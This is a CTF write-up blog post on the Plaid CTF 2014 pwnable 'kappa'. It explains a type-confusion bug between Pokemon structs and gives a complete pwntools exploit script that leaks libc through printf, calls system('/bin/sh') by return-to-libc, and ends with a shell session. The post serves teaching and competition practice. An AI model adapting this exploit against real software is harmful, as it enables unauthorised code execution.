본문 바로가기

CTFs/Plaid 2014

[Plaid 2014] pwnable : kappa

kappa

This chal is also stripped x86 elf.

1
2
zero@ubuntu:~/Desktop/ctf/plaid2014$ file kappa
kappa: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2for GNU/Linux 2.6.26, stripped
cs

And applied memory protections are...

1
2
3
4
5
6
7
8
zero@ubuntu:~/Desktop/ctf/plaid2014$ gdb -q ./kappa
Reading symbols from ./kappa...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
cs

Surely NX is enabled and also ASLR.


Overall explain about this program... just pokemon game!


There are 3 types of pokemons.

- 'Bird Jesus'

- 'Charizard'

- 'Kakuna'

No 1 pokemon ( 'Bird Jesus' ) is basically given, No 2 and 3 can be caught by kind of hunting(?)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void walk_into_the_tall_grass()
{
  puts("You walk into the tall grass!");
  sleep(1u);
  puts(".");
  sleep(1u);
  puts(".");
  sleep(1u);
  puts(".");
  sleep(1u);
  if ( ++i % 13 )
  {
    if ( i & 1 )
      puts("You failed to find any Pokemon!");
    else
      set_pokemons(2);
  }
  else
  {
    set_pokemons(1);
  }
}
cs

And player can only have maxinum 5 pokemons.

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned int Select_Pokemon()
{
  unsigned int v1; // [sp+18h] [bp-10h]@5
  unsigned int i; // [sp+1Ch] [bp-Ch]@1
 
  puts("Choose a Pokemon!");
  for ( i = 0; i <= 4 && *(&ptr + i); ++i )
    printf("%d. %s\n", i + 1*(&ptr + i));
  v1 = select();
  if ( v1 > i )
    exit(1);
  return v1 - 1;
}
cs

when player catches 6th pokemons, player  6th pm(pokemon) has to be replaced with another one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
puts("Oh no! you don't have any more room for a Pokemon! Choose a pokemon to replace!");
  v8 = Select_Pokemon();
  if ( v8 )
  {
    if ( v8 <= 4 )
    {
      free(*(&::ptr + v8));
      *(&::ptr + v8) = ptr;
    }
    else
    {
      puts("Invalid Choice!");
    }
  }
cs

And problem goes on...

There are 3 types of pokemons but that codes never check TYPE!

As we know, different pokemons, diffenernt structures.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// - Kakuna
int __cdecl Pokemon_State_2(int a1)
{
  printf("Name: %s\n", a1);
  puts((a1 + 15));
  printf("Current Health: %d\n"*(a1 + 0x204));
  printf("Attack Power: %d\n"*(a1 + 0x208));
  return printf("Attack: %s\n"**(a1 + 0x20C));
}
// - Charizard
int __cdecl Pokemon_State_3(int a1)
{
  printf("Name: %s\n", a1);
  puts((a1 + 15));
  printf("Current Health: %d\n"*(a1 + 0x5EC));
  printf("Attack Power: %d\n"*(a1 + 0x5F0));
  return printf("Attack: %s\n"**(a1 + 0x5F4));
}
cs

0xf ~ 0x204 or 0xf ~ 0x5ec are spaces where each artworks saved.

Anyway, we can overwrite 'Kakuna' with using 'Charizard'.


There is scenario,

First, just catch 4 Kakuna and we got 5 pokemons ( one is Bird Jesus, the others are Kakuna )

Second, just 'walk_into_the_tall_grass' 2 times and run away because of making 'i' to 12 for meeting 'Charizard' next time.

Third, this time we can meet 'Charizard' but before catching it, we need to make 'Charizard's health under 20 for catching.

1
2
3
4
5
...
 puts("You throw a Pokeball!");
    if ( health <= 20 )
      break;
    printf("You couldn' t catch %s!\n", buf);
cs

Forth, replace it to '2' slot.

Fifth, file data what we want in artworks

Then, we can leak any address and exploit using that!


I just use 'printf' to leak address and get libc, system address.

And write "/bin/sh" on 'name'. It would be on ebp + 8.


Final Exploit Codes...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from time import *
from pwn import *
 
def catch_pokemon():
   for i in range(4):
    s.recvuntil("5. Change Pokemon artwork\n\n")
    s.sendline("1")
    sleep(0.3)
    s.recvuntil("5. Change Pokemon artwork\n\n")
    s.sendline("1")
 
    s.recvuntil("3. Run\n")
    s.sendline("2")
    s.recvuntil("What would you like to name this Pokemon?")
    s.send("A" * 0xe)
 
def run_for_pokemon():
   for i in range(2):
    s.recvuntil("5. Change Pokemon artwork\n\n")
    s.sendline("1")
    sleep(0.3)
    s.recvuntil("5. Change Pokemon artwork\n\n")
    s.sendline("1")
 
    s.recvuntil("3. Run\n")
    s.sendline("3")
 
def catch_charizard():
    s.recvuntil("5. Change Pokemon artwork\n\n")
    s.sendline("1")
    s.recvuntil("A wild Charizard appears!")
 
    # Attack 4 times to catch 'Charizard'
    for i in range(4):
        s.sendline("1")
        s.recvuntil("Charizard used Blaze. It did 10 damage to Bird Jesus!")
 
    # Throw pokeball
    s.sendline("2")
    s.recvuntil("What would you like to name this Pokemon?")
    s.send("%16$x;/bin/sh;".ljust(0xe"A"))
 
    s.recvuntil("Choose a Pokemon!")
    s.sendline("2")
 
def change_artwork(id, payload):
    s.recvuntil("5. Change Pokemon artwork\n\n")
    s.sendline("5")
    s.recvuntil("5. AAAAAAAAAAAAAA\n")
    s.sendline(str(id))
    s.send(payload)
 
def leak_libc():
    s.recvuntil("5. Change Pokemon artwork\n\n")
    s.sendline("3")
    s.recvuntil("Attack: Gust\n")
    return int(s.recv(8), 16)
 
= process("./kappa")
 
# catch 4 pocketmons - 5 is maximum
catch_pokemon()
 
# run away 2 times for catching 'Charizard'
run_for_pokemon()
 
# catch 'Charizard'
catch_charizard()
 
# Change Artwork - No.2 pocketmon - for leaking (Size : 0x210 )
payload = "A"*(0x210 - 0xf)
payload += p32(0x8048520# printf
payload += "A"*(0x850 - len(payload))
# RET -> printf_plt
change_artwork(2, payload)
 
# leak libc address
ret_addr = leak_libc()
 
libc_ret = 0x1b23dc
libc_system = 0x3ad80
 
libc = ret_addr - libc_ret
system = libc + libc_system
 
print "/********* Stage 1 - Leaking Libc ********"
print "[+] libc address : %#x" % libc
print "[+] system address : %#x" % system
 
# Change Artwork - No.2 pocketmon - call system()
print "/********* Stage 2 - RTL ********"
payload = "A"*(0x210 - 0xf)
payload += p32(system)
payload += "A"*(0x850 - len(payload))
# RET -> system, ebp+8 -> /bin/sh
change_artwork(2, payload)
 
# run it!
s.recvuntil("5. Change Pokemon artwork\n\n")
s.sendline("3")
 
# get Shell!
s.interactive()
cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
zero@ubuntu:~/Desktop/ctf/plaid2014$ python kappa.py
[+] Started program './kappa'
/********* Stage 1 - Leaking Libc ********
[+] libc address : 0xf75b3000
[+] system address : 0xf75edd80
/********* Stage 2 - RTL ********
[*] Switching to interactive mode
Here are all of the stats on your current Pokemon!
Name: Bird Jesus
                   ..-`"-._
                 ,'      ,'`.
               ,f \   . / ,-'-.
              '  `. | |  , ,'`|
             `.-.  \| | ,.' ,-.\
              /| |. ` | /.'"||Y .
             . |_|U_\.|//_U_|||
             | j    /   .    \ |'
              L    /     \    .j`
               .  `"`._,--|  //  \
               j   `.   ,'  , \   L
          ____/      `"'     \ L  |
       ,-'   ,'               \|'-+.
      /    ,'                  .    \
     /    /                     `    `.
    . |  j                       \     \
    |F   |                        '   \ .
    ||  F                         |   |\|
    ||  |                         |   | |
    ||  |                         |   | |
    `.._L                         |  ,' '
     .   |                        |,| ,'
      `  |                    '|||  j/
       `.'    .             ,'   /  '
         \\    `._        ,'    / ,'
          .\         ._ ,'     /,'
            .  ,   .'| \  (   //
            j_|'_,'  |  ._'` / `.
           ' |  |    |   |  Y    `.
    ,.__  `; |  |-"""^"""'  |.--""`
 ,--\   """ ,    \  / \ ,-     """"---.
'.--`v.=:.-'  .  L."`"'"\   ,  `.,.._ /`.
     .L    j-"`.   `\    j  |`.  "'--""`-'
     / |_,'    L ,-.|   (/`.)  `-\.-'\
    `-""        `. |     l /     `-"`-'
                  `      `- mh
 
Current Health: 960
Attack Power: 20
Attack: Gust
sh: 1: %16not found
$ id
uid=1000(zero) gid=1000(zero) groups=1000(zero)
cs


'CTFs > Plaid 2014' 카테고리의 다른 글

[Plaid 2014] pwnable : tenement & sass  (0) 2016.08.27
[Plaid 2014] pwnable : ezhp  (0) 2016.08.27
[Plaid 2014] reversing : hudak  (0) 2016.08.27
[Plaid 2014] forensic : zfs  (0) 2016.08.27
[Plaid 2014] forensic : rsa  (0) 2016.08.27